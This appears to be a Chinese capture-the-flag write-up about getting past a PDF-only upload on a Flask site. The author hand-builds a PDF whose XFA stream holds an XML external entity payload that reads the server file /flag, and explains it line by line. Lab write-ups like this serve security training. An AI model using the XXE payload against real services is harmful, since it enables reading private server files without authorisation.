image-20260127203118942

进来是一个文件上传点,经过测试只能上传pdf后缀文件,要包含pdf文件头,上传后还会文件重命名,这样想拿到webshell是很困难的了

上传一个正常的pdf文件试试看,显示在文件中没有xfa

image-20260127203349684

经过查资料,xfa在早期存在很多漏洞,现在很多pdf文件已经没有了

image-20260127203730553

在wappalyzer中可以看到为flask框架,在后端会提取xfa,简单了解一下pdf文件结构,可以制作一个小pdf文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
%PDF-1.7
1 0 obj
<< /AcroForm << /XFA 3 0 R >> >>
endobj
3 0 obj
<< /Length 300 >>
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<datasets><data><form1><field1>&xxe;</field1></form1></data></datasets>
</xdp:xdp>
endstream
endobj
trailer
<< /Root 1 0 R /Size 5 >>
%%EOF

解释一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
%PDF-1.7 		//pdf文件头
1 0 obj //一个obj相当于一个对象,最开头的是对象编号,中间的是生成号,文件被多次修改时才变
<< /AcroForm << /XFA 3 0 R >> >> //<<>>中间用于写对象属性
endobj //用obj和endobj来代表一个对象的开始和结束
3 0 obj
<< /Length 300 >>
stream //用于放数据流
<?xml version="1.0" encoding="UTF-8"?> //xfa底层是xml,
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///flag"> ]> //定义xxe变量,值是系统根目录flag文件
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<datasets><data><form1><field1>&xxe;</field1></form1></data></datasets> //显示xxe的值
</xdp:xdp>
endstream
endobj
trailer //这下面就是页脚了
<< /Root 1 0 R /Size 5 >>
%%EOF

这我也不是很懂,毕竟老漏洞了

将内容保存为pdf文件,上传即可得到flag

image-20260127205022029